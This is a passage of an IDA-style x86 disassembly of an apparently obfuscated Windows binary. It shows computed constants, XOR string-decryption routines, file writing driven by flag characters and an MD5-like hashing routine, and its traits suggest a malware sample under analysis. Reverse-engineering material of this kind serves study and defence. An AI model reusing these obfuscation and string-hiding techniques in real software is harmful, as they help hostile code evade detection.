add esi, dword_551174
mov ebx, dword_551198
lea ecx, [ecx+ebx-400281DAh]
mov ds:dword_54EBB4[esi*4], ecx
mov ecx, dword_551250
mov esi, dword_551178
add esi, 0E1F7EEA2h
add esi, dword_551100
mov ds:dword_54EBB8[ecx*4], esi
movsx ecx, word_551254
mov esi, dword_551114
add esi, 280E85D3h
mov ds:dword_54EBC4[ecx*4], esi
mov ecx, dword_551134
add ecx, dword_551128
movsx esi, word_5511BC
add esi, 323D4732h
mov ds:dword_54EBB8[ecx*4], esi
movsx ecx, word_5510EC
movsx esi, word_5510D8
add esi, 1AB051F0h
mov ds:dword_54EBE8[ecx*4], esi
pop esi
pop ebx
retn
sub_43A646 endp
; =============== S U B R O U T I N E =======================================
sub_43A8A8 proc near ; DATA XREF: .data:00551314o
mov eax, 80004001h
retn 10h
sub_43A8A8 endp
; ---------------------------------------------------------------------------
loc_43A8B0: ; DATA XREF: sub_445D32+7o
mov eax, dword_551128
sub eax, 6
push eax
call ds:dword_54EA60
retn
; =============== S U B R O U T I N E =======================================
sub_43A8C0 proc near ; CODE XREF: sub_43E491+20p
push edi
push offset word_5529C2
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_551288, eax
movsx eax, word_5510CC
movsx edx, word_5511C4
add eax, edx
sub eax, 0Ch
cmp dword_551288, eax
jnz short loc_43A90A
push offset asc_5529B5 ; "\t"
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_551288, eax
loc_43A90A: ; CODE XREF: sub_43A8C0+31j
push offset asc_5529A6 ; "\v"
call sub_43AC94
pop ecx
push eax
push dword_551288
call ds:dword_44B1AC
mov ds:dword_4CC320, eax
pop edi
retn
sub_43A8C0 endp
; =============== S U B R O U T I N E =======================================
sub_43A929 proc near ; CODE XREF: sub_43F2CB+DDp
; sub_43F2CB+137p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [esp+8+arg_4]
movsx eax, word_551170
mov ecx, eax
add ecx, 1Fh
movsx eax, word_551268
sub eax, 2
sub ecx, eax
jmp short loc_43A96B
; ---------------------------------------------------------------------------
loc_43A94D: ; CODE XREF: sub_43A929+54j
mov dx, [ebx+ecx*2]
cmp dx, [esi+ecx*2]
jnb short loc_43A95B
xor eax, eax
jmp short loc_43A982
; ---------------------------------------------------------------------------
loc_43A95B: ; CODE XREF: sub_43A929+2Cj
mov dx, [ebx+ecx*2]
cmp dx, [esi+ecx*2]
jbe short loc_43A96A
xor eax, eax
inc eax
jmp short loc_43A982
; ---------------------------------------------------------------------------
loc_43A96A: ; CODE XREF: sub_43A929+3Aj
dec ecx
loc_43A96B: ; CODE XREF: sub_43A929+22j
movsx eax, word_5510CC
add eax, dword_5510A4
sub eax, 0Eh
cmp ecx, eax
jge short loc_43A94D
xor eax, eax
inc eax
loc_43A982: ; CODE XREF: sub_43A929+30j
; sub_43A929+3Fj
pop esi
pop ebx
retn
sub_43A929 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A985 proc near ; DATA XREF: sub_441AE5+49o
; sub_441AE5+FAo ...
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 124h
push ebx
push esi
push edi
push 493E0h
push 40h
call ds:dword_48B9EC
mov [ebp+var_4], eax
push 61A80h
push 40h
call ds:dword_48B9EC
mov ebx, eax
mov eax, [ebp+arg_0]
add eax, 2
push eax
push [ebp+var_4]
call sub_44799C
mov eax, [ebp+var_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43A9C7: ; CODE XREF: sub_43A985+47j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A9C7
mov [ebp+var_8], eax
mov edi, dword_5511E4
sub edi, 5
jmp short loc_43AA17
; ---------------------------------------------------------------------------
loc_43A9DC: ; CODE XREF: sub_43A985+95j
mov eax, edi
add eax, [ebp+var_4]
mov [ebp+var_118], eax
movzx edx, byte ptr [eax]
mov [ebp+var_120], edx
mov eax, edi
mov [ebp+var_11C], eax
mul edi
mov [ebp+var_124], eax
mov eax, [ebp+var_120]
mov edx, [ebp+var_124]
add eax, edx
mov edx, [ebp+var_118]
mov [edx], al
inc edi
loc_43AA17: ; CODE XREF: sub_43A985+55j
cmp edi, [ebp+var_8]
jb short loc_43A9DC
mov eax, dword_551184
add eax, 61A78h
push eax
push ebx
push [ebp+var_8]
push [ebp+var_4]
call sub_4421CF
add esp, 10h
mov eax, dword_551154
mov esi, eax
add esi, dword_551150
sub esi, 0Bh
jmp short loc_43AA5D
; ---------------------------------------------------------------------------
loc_43AA48: ; CODE XREF: sub_43A985+E6j
cmp byte ptr [ebx+esi], 2Bh
jnz short loc_43AA52
mov byte ptr [ebx+esi], 28h
loc_43AA52: ; CODE XREF: sub_43A985+C7j
cmp byte ptr [ebx+esi], 3Dh
jnz short loc_43AA5C
mov byte ptr [ebx+esi], 29h
loc_43AA5C: ; CODE XREF: sub_43A985+D1j
inc esi
loc_43AA5D: ; CODE XREF: sub_43A985+C1j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43AA62: ; CODE XREF: sub_43A985+E2j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AA62
cmp esi, eax
jb short loc_43AA48
mov eax, dword_551118
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 50h
jnz short loc_43AAB1
push offset dword_4CD930
lea eax, [ebp+var_114]
push eax
call sub_44799C
mov eax, dword_5510C8
add eax, 1
push eax
push ebx
lea eax, [ebp+var_114]
push eax
call sub_442677
add esp, 0Ch
cmp eax, 0
jnz loc_43AC67
loc_43AAB1: ; CODE XREF: sub_43A985+F7j
mov eax, dword_5510E0
add eax, dword_5510E8
sub eax, 8
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 44h
jnz short loc_43AAD9
push offset dword_4CC540
lea eax, [ebp+var_114]
push eax
call sub_44799C
loc_43AAD9: ; CODE XREF: sub_43A985+141j
mov eax, dword_551114
add eax, dword_5511B0
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43AB01
push offset dword_44B0A0
lea eax, [ebp+var_114]
push eax
call sub_44799C
loc_43AB01: ; CODE XREF: sub_43A985+169j
mov eax, dword_5511B0
sub eax, 7
push eax
movsx eax, word_5511C4
sub eax, 7
push eax
push 4
movsx eax, word_5510D8
movsx edx, word_551188
mov ecx, eax
add ecx, edx
mov edx, ecx
sub edx, 0Eh
push edx
sub eax, 9
push eax
push 40000000h
lea eax, [ebp+var_114]
push eax
call ds:dword_54FC18
mov [ebp+var_C], eax
push 2
mov eax, dword_551230
sub eax, 5
push eax
movsx eax, word_5510F0
sub eax, 3
push eax
push [ebp+var_C]
call ds:dword_550030
push offset word_55299E
call sub_43AC94
pop ecx
mov edx, dword_551098
sub edx, 2
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_5511E8
movsx ecx, word_551168
add edx, ecx
sub edx, 7
push edx
push eax
push [ebp+var_C]
call ds:dword_55001C
mov eax, dword_55119C
sub eax, 7
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43ABE5
push offset byte_552999
call sub_43AC94
pop ecx
movsx edx, word_55115C
sub edx, 3
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_55109C
movsx ecx, word_5510E4
add edx, ecx
sub edx, 6
push edx
push eax
push [ebp+var_C]
call ds:dword_55001C
loc_43ABE5: ; CODE XREF: sub_43A985+227j
mov eax, dword_5511E0
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 50h
jnz short loc_43AC21
push offset dword_552994
call sub_43AC94
pop ecx
movsx edx, word_551110
dec edx
push edx
lea edx, [ebp+var_10]
push edx
movsx edx, word_551224
dec edx
push edx
push eax
push [ebp+var_C]
call ds:dword_55001C
loc_43AC21: ; CODE XREF: sub_43A985+26Fj
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43AC26: ; CODE XREF: sub_43A985+2A6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43AC26
mov edx, eax
movsx ecx, word_551120
movsx eax, word_55115C
add ecx, eax
sub ecx, 6
push ecx
lea ecx, [ebp+var_10]
push ecx
movsx ecx, word_55123C
sub ecx, 2
add ecx, edx
push ecx
push ebx
push [ebp+var_C]
call ds:dword_55001C
push [ebp+var_C]
call ds:dword_4CDA48
loc_43AC67: ; CODE XREF: sub_43A985+126j
push [ebp+var_4]
call ds:dword_44B5CC
push ebx
call ds:dword_44B5CC
pop edi
pop esi
pop ebx
leave
retn
sub_43A985 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AC7C proc near ; CODE XREF: sub_441EAC+53p
; sub_441EAC+68p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_551284
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_43AC7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AC94 proc near ; CODE XREF: sub_43A8C0+6p
; sub_43A8C0+38p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_551278, 0
jnz short loc_43ACBC
push offset dword_550160
call ds:dword_449FCC
mov dword_551278, 1
loc_43ACBC: ; CODE XREF: sub_43AC94+11j
mov esi, dword_5510C4
add esi, dword_5511F0
sub esi, 0Fh
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_5511F8
sub edx, 4
cmp eax, edx
jz loc_43AD83
push offset dword_550160
call ds:dword_54EA5C
movsx eax, word_551188
sub eax, 2
mov [ebp+var_2], ax
jmp short loc_43AD28
; ---------------------------------------------------------------------------
loc_43AD13: ; CODE XREF: sub_43AC94+9Ej
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_43AD28: ; CODE XREF: sub_43AC94+7Dj
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43AD13
movsx eax, word_551120
movsx edx, word_55120C
add eax, edx
sub eax, 3
movsx edx, word_551094
sub edx, 3
mov [edi+eax], dl
movsx eax, word_55111C
movsx edx, word_5510E4
lea eax, [eax+edx+1]
mov edx, dword_5510C0
add edx, dword_5510B4
sub edx, 5
mov [edi+eax], dl
push offset dword_550160
call ds:dword_4CDA40
loc_43AD83: ; CODE XREF: sub_43AC94+5Ej
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_43AC94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AD8B proc near ; CODE XREF: sub_43E491+3A8p
; sub_441AE5+184p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
mov eax, dword_55122C
movsx edx, word_5510A0
add eax, edx
sub eax, 8
push eax
movsx eax, word_5511C8
add eax, dword_55110C
sub eax, 10h
push eax
push [ebp+arg_0]
mov eax, dword_55125C
add eax, dword_551118
sub eax, 0Eh
push eax
mov eax, dword_5510F4
add eax, dword_5510B8
sub eax, 0Ah
push eax
call ds:dword_550020
push eax
call ds:dword_4CDA48
leave
retn
sub_43AD8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ADE6 proc near ; CODE XREF: sub_442BEC:loc_442BEFp
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, dword_5511E8
add eax, dword_5511F8
sub eax, 0Eh
push eax
mov eax, dword_55114C
sub eax, 6
push eax
push 20h
mov eax, dword_55109C
add eax, dword_5510C4
sub eax, 10h
push eax
call ds:dword_48BA00
lea eax, [ebp+var_10]
push eax
call ds:dword_4CC530
movzx eax, [ebp+var_E]
mov edx, dword_551134
add edx, 0A8B7h
add edx, dword_5510E0
imul eax, edx
movzx edx, [ebp+var_8]
mov ecx, dword_55121C
add ecx, 3Ch
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_10]
mov ecx, dword_551184
add ecx, 7E8F5h
add ecx, dword_551138
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_A]
mov ecx, dword_5510A4
add ecx, 596h
add ecx, dword_551174
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_6]
add eax, edx
mov ds:dword_448030, eax
mov eax, dword_5511D4
add eax, dword_5510F8
sub eax, 0Ch
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_446E8A
add esp, 144h
pop edi
pop esi
leave
retn
sub_43ADE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AEDD proc near ; CODE XREF: sub_43E04C+45p
; sub_4423A6+274p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_551278, 0
jnz short loc_43AF05
push offset dword_550160
call ds:dword_449FCC
mov dword_551278, 1
loc_43AF05: ; CODE XREF: sub_43AEDD+11j
mov esi, dword_55122C
add esi, 5
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
movsx edx, word_551240
movsx ecx, word_5510D8
add edx, ecx
sub edx, 8
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_5511FC
inc edx
add edx, dword_55117C
cmp eax, edx
jz loc_43AFE5
push offset dword_550160
call ds:dword_54EA5C
mov eax, dword_551204
add eax, 3
movsx edx, word_5510E4
add eax, edx
mov [ebp+var_2], ax
jmp short loc_43AF99
; ---------------------------------------------------------------------------
loc_43AF77: ; CODE XREF: sub_43AEDD+C6j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, dword_551178
dec edx
add eax, edx
mov [ebp+var_2], ax
loc_43AF99: ; CODE XREF: sub_43AEDD+98j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43AF77
mov eax, dword_55109C
movsx edx, word_551168
add eax, edx
sub eax, 0Bh
mov edx, dword_551200
sub edx, 3
mov [edi+eax], dl
mov eax, dword_5510FC
movsx edx, word_551268
add edx, dword_5510E8
sub edx, 0Ah
mov [edi+eax], dl
push offset dword_550160
call ds:dword_4CDA40
loc_43AFE5: ; CODE XREF: sub_43AEDD+72j
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_43AEDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AFED proc near ; DATA XREF: .data:005512C4o
push ebp
mov ebp, esp
push offset dword_54FC14
call ds:dword_48B9F8
mov eax, ds:dword_54FC14
pop ebp
retn 4
sub_43AFED endp
; =============== S U B R O U T I N E =======================================
sub_43B004 proc near ; CODE XREF: sub_43B841p sub_446E57p
push edi
push offset word_552986
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_551280, eax
mov eax, dword_5510F4
sub eax, 2
cmp dword_551280, eax
jnz short loc_43B043
push offset dword_552978
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_551280, eax
loc_43B043: ; CODE XREF: sub_43B004+26j
pop edi
retn
sub_43B004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B045 proc near ; CODE XREF: sub_44718F+89p
var_11C = dword ptr -11Ch
var_DC = dword ptr -0DCh
var_9C = dword ptr -9Ch
var_5C = dword ptr -5Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_4], ecx
mov edx, [eax+0Ch]
mov [ebp+var_10], edx
mov eax, [eax+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_C], eax
lea edi, [ebp+var_11C]
lea esi, dword_551324
mov ecx, 10h
rep movsd
lea edi, [ebp+var_5C]
lea esi, dword_551364
mov ecx, 10h
rep movsd
lea edi, [ebp+var_9C]
lea esi, dword_5513A4
mov ecx, 10h
rep movsd
lea edi, [ebp+var_DC]
lea esi, dword_5513E4
mov ecx, 10h
rep movsd
movsx ebx, word_5510EC
jmp loc_43B1E6
; ---------------------------------------------------------------------------
loc_43B0C3: ; CODE XREF: sub_43B045+1B1j
mov edi, ebx
shl edi, 2
push [ebp+edi+var_11C]
mov edi, dword_5511E4
movsx esi, word_551234
add edi, esi
sub edi, 2
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
call sub_43E913
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_55114C
add eax, dword_5510A8
sub eax, 0Ah
cmp eax, ebx
jz short loc_43B14E
mov edi, ebx
inc edi
push [ebp+edi*4+var_11C]
mov edi, dword_5511D0
add edi, 9
push edi
movsx edi, word_55111C
inc edi
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
call sub_43E913
add esp, 1Ch
mov [ebp+var_10], eax
loc_43B14E: ; CODE XREF: sub_43B045+CAj
mov edi, dword_551160
mov esi, edi
add esi, edi
mov edi, esi
sub edi, 8
mov esi, ebx
add esi, edi
push [ebp+esi*4+var_11C]
mov edi, dword_5511FC
add edi, 11h
push edi
mov edi, dword_5511B0
sub edi, 5
mov esi, ebx
add esi, edi
mov edi, [ebp+arg_4]
push dword ptr [edi+esi*4]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
call sub_43E913
mov [ebp+var_8], eax
mov edi, dword_55122C
add edi, dword_551138
dec edi
mov esi, ebx
add esi, edi
push [ebp+esi*4+var_11C]
movsx edi, word_551234
add edi, 12h
push edi
mov edi, ebx
add edi, 3
mov esi, [ebp+arg_4]
push dword ptr [esi+edi*4]
push [ebp+var_C]
push [ebp+var_10]
push eax
push [ebp+var_4]
call sub_43E913
add esp, 38h
mov [ebp+var_4], eax
mov eax, dword_551154
sub eax, 3
add ebx, eax
loc_43B1E6: ; CODE XREF: sub_43B045+79j
mov eax, dword_55124C
add eax, dword_55113C
sub eax, 2
cmp ebx, eax
jbe loc_43B0C3
mov eax, dword_551098
mov ebx, eax
add ebx, dword_5510FC
sub ebx, 3
movsx eax, word_551268
add eax, dword_551248
sub eax, 7
mov [ebp+var_14], eax
jmp loc_43B3AE
; ---------------------------------------------------------------------------
loc_43B224: ; CODE XREF: sub_43B045+376j
mov edi, [ebp+var_14]
push [ebp+edi*4+var_5C]
mov edi, dword_55109C
sub edi, 2
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
call sub_43FC83
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_5510D4
movsx edx, word_5510EC
add eax, edx
sub eax, 2
add ebx, eax
mov eax, dword_551160
add eax, 0Ah
movsx edx, word_551240
add eax, edx
cmp ebx, eax
jb short loc_43B286
movsx eax, word_551260
add eax, 7
sub ebx, eax
loc_43B286: ; CODE XREF: sub_43B045+233j
mov edi, [ebp+var_14]
inc edi
push [ebp+edi*4+var_5C]
movsx edi, word_551260
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
call sub_43FC83
add esp, 1Ch
mov [ebp+var_10], eax
movsx eax, word_5511A8
add eax, 5
add ebx, eax
mov eax, dword_5511B8
add eax, 9
cmp ebx, eax
jb short loc_43B2DF
movsx eax, word_55112C
movsx edx, word_551228
lea eax, [eax+edx+5]
sub ebx, eax
loc_43B2DF: ; CODE XREF: sub_43B045+284j
mov edi, [ebp+var_14]
add edi, 2
push [ebp+edi*4+var_5C]
mov edi, dword_551258
add edi, 0Dh
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
call sub_43FC83
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, dword_551190
dec eax
add ebx, eax
mov eax, dword_551200
add eax, 0Dh
cmp ebx, eax
jb short loc_43B330
movsx eax, word_551220
add eax, 0Fh
sub ebx, eax
loc_43B330: ; CODE XREF: sub_43B045+2DDj
mov edi, [ebp+var_14]
mov esi, dword_551148
sub esi, 4
add edi, esi
push [ebp+edi*4+var_5C]
mov edi, dword_551238
add edi, 9
add edi, dword_551250
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call sub_43FC83
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_551250
movsx edx, word_551194
add eax, edx
sub eax, 4
add ebx, eax
mov eax, dword_551208
add eax, 0Eh
movsx edx, word_5510E4
add eax, edx
cmp ebx, eax
jb short loc_43B3A1
mov eax, dword_55119C
add eax, 9
sub ebx, eax
loc_43B3A1: ; CODE XREF: sub_43B045+350j
movsx eax, word_551170
add eax, 3
add [ebp+var_14], eax
loc_43B3AE: ; CODE XREF: sub_43B045+1DAj
movsx eax, word_551268
add eax, 9
cmp [ebp+var_14], eax
jbe loc_43B224
mov eax, dword_55124C
mov ebx, eax
add ebx, dword_55121C
mov eax, dword_551178
add eax, dword_551130
sub eax, 6
mov [ebp+var_18], eax
jmp loc_43B59A
; ---------------------------------------------------------------------------
loc_43B3E4: ; CODE XREF: sub_43B045+562j
mov edi, [ebp+var_18]
push [ebp+edi*4+var_9C]
mov edi, dword_551158
add edi, 3
movsx esi, word_5510E4
add edi, esi
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
call sub_440450
add esp, 1Ch
mov [ebp+var_C], eax
movsx eax, word_551260
add eax, dword_55124C
sub eax, 0Bh
add ebx, eax
mov eax, dword_551230
add eax, 6
add eax, dword_551160
cmp ebx, eax
jb short loc_43B44C
mov eax, dword_55117C
add eax, 0Bh
sub ebx, eax
loc_43B44C: ; CODE XREF: sub_43B045+3FBj
mov edi, [ebp+var_18]
mov esi, dword_5511C0
inc esi
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_55113C
add edi, dword_5510C4
sub edi, 7
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
call sub_440450
add esp, 1Ch
mov [ebp+var_10], eax
movsx eax, word_551260
add eax, dword_5511D4
sub eax, 0Fh
add ebx, eax
mov eax, dword_5510FC
add eax, 5
add eax, dword_551124
cmp ebx, eax
jb short loc_43B4BC
movsx eax, word_551120
add eax, 0Dh
sub ebx, eax
loc_43B4BC: ; CODE XREF: sub_43B045+469j
mov edi, [ebp+var_18]
mov esi, dword_551090
inc esi
add edi, esi
push [ebp+edi*4+var_9C]
mov edi, dword_5510D4
add edi, 5
add edi, dword_5510B4
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
call sub_440450
add esp, 1Ch
mov [ebp+var_8], eax
movsx eax, word_5511BC
add eax, dword_551250
sub eax, 4
add ebx, eax
movsx eax, word_551120
add eax, 0Dh
cmp ebx, eax
jb short loc_43B52A
mov eax, dword_55119C
inc eax
add eax, dword_5510B8
sub ebx, eax
loc_43B52A: ; CODE XREF: sub_43B045+4D5j
mov edi, [ebp+var_18]
add edi, 3
push [ebp+edi*4+var_9C]
mov edi, dword_5510F8
add edi, 0Eh
add edi, dword_551230
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call sub_440450
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_5511A4
sub eax, 3
add ebx, eax
mov eax, dword_551208
add eax, 7
movsx edx, word_5510A0
add eax, edx
cmp ebx, eax
jb short loc_43B58F
movsx eax, word_551224
add eax, 0Eh
sub ebx, eax
loc_43B58F: ; CODE XREF: sub_43B045+53Cj
mov eax, dword_55119C
sub eax, 3
add [ebp+var_18], eax
loc_43B59A: ; CODE XREF: sub_43B045+39Aj
movsx eax, word_551240
add eax, 0Bh
cmp [ebp+var_18], eax
jbe loc_43B3E4
mov eax, dword_551114
mov ebx, eax
add ebx, dword_55126C
sub ebx, 0Ah
mov eax, dword_55114C
sub eax, 6
mov [ebp+var_1C], eax
jmp loc_43B774
; ---------------------------------------------------------------------------
loc_43B5CD: ; CODE XREF: sub_43B045+73Aj
mov edi, [ebp+var_1C]
push [ebp+edi*4+var_DC]
movsx edi, word_551274
add edi, 5
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
call sub_440417
add esp, 1Ch
mov [ebp+var_C], eax
mov eax, dword_551154
add eax, dword_551230
sub eax, 5
add ebx, eax
movsx eax, word_551228
mov edx, dword_551160
lea eax, [eax+edx+5]
cmp ebx, eax
jb short loc_43B631
mov eax, dword_551148
add eax, dword_5511E0
sub ebx, eax
loc_43B631: ; CODE XREF: sub_43B045+5DDj
mov edi, [ebp+var_1C]
inc edi
push [ebp+edi*4+var_DC]
mov edi, dword_551098
add edi, 8
movsx esi, word_55111C
add edi, esi
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
call sub_440417
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_551238
sub eax, 2
add ebx, eax
mov eax, dword_551264
add eax, 8
movsx edx, word_551140
add eax, edx
cmp ebx, eax
jb short loc_43B695
mov eax, dword_55121C
add eax, 10h
sub ebx, eax
loc_43B695: ; CODE XREF: sub_43B045+644j
mov edi, [ebp+var_1C]
movsx esi, word_551240
add esi, dword_551108
dec esi
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_551130
add edi, 7
add edi, dword_551270
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
call sub_440417
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, dword_55110C
sub eax, 2
add ebx, eax
mov eax, dword_551154
add eax, 9
cmp ebx, eax
jb short loc_43B6FC
mov eax, dword_5511F4
add eax, 0Bh
sub ebx, eax
loc_43B6FC: ; CODE XREF: sub_43B045+6ABj
mov edi, [ebp+var_1C]
movsx esi, word_551234
add esi, dword_551258
sub esi, 2
add edi, esi
push [ebp+edi*4+var_DC]
mov edi, dword_5511DC
add edi, 0Ch
push edi
mov edi, [ebp+arg_4]
push dword ptr [edi+ebx*4]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call sub_440417
add esp, 1Ch
mov [ebp+var_4], eax
mov eax, dword_551164
add eax, 7
add eax, dword_551100
add ebx, eax
movsx eax, word_551094
add eax, 0Dh
cmp ebx, eax
jb short loc_43B769
movsx eax, word_55111C
add eax, 10h
sub ebx, eax
loc_43B769: ; CODE XREF: sub_43B045+716j
mov eax, dword_5511F0
sub eax, 5
add [ebp+var_1C], eax
loc_43B774: ; CODE XREF: sub_43B045+583j
mov eax, dword_55116C
add eax, 3
cmp [ebp+var_1C], eax
jbe loc_43B5CD
mov edi, [ebp+arg_0]
movsx esi, word_551224
add esi, dword_5511E0
mov ebx, [edi]
add ebx, [ebp+var_C]
mov [edi+esi*4-2Ch], ebx
movsx esi, word_55115C
mov ebx, [ebp+var_4]
add ebx, [edi+4]
mov [edi+esi*4-8], ebx
mov esi, dword_5511E8
mov ebx, [ebp+var_10]
add ebx, [edi+0Ch]
mov [edi+esi*4-10h], ebx
mov esi, dword_551148
mov ebx, [ebp+var_8]
add ebx, [edi+8]
mov [edi+esi*4-14h], ebx
pop edi
pop esi
pop ebx
leave
retn
sub_43B045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B7D4 proc near ; DATA XREF: .data:off_5512E0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
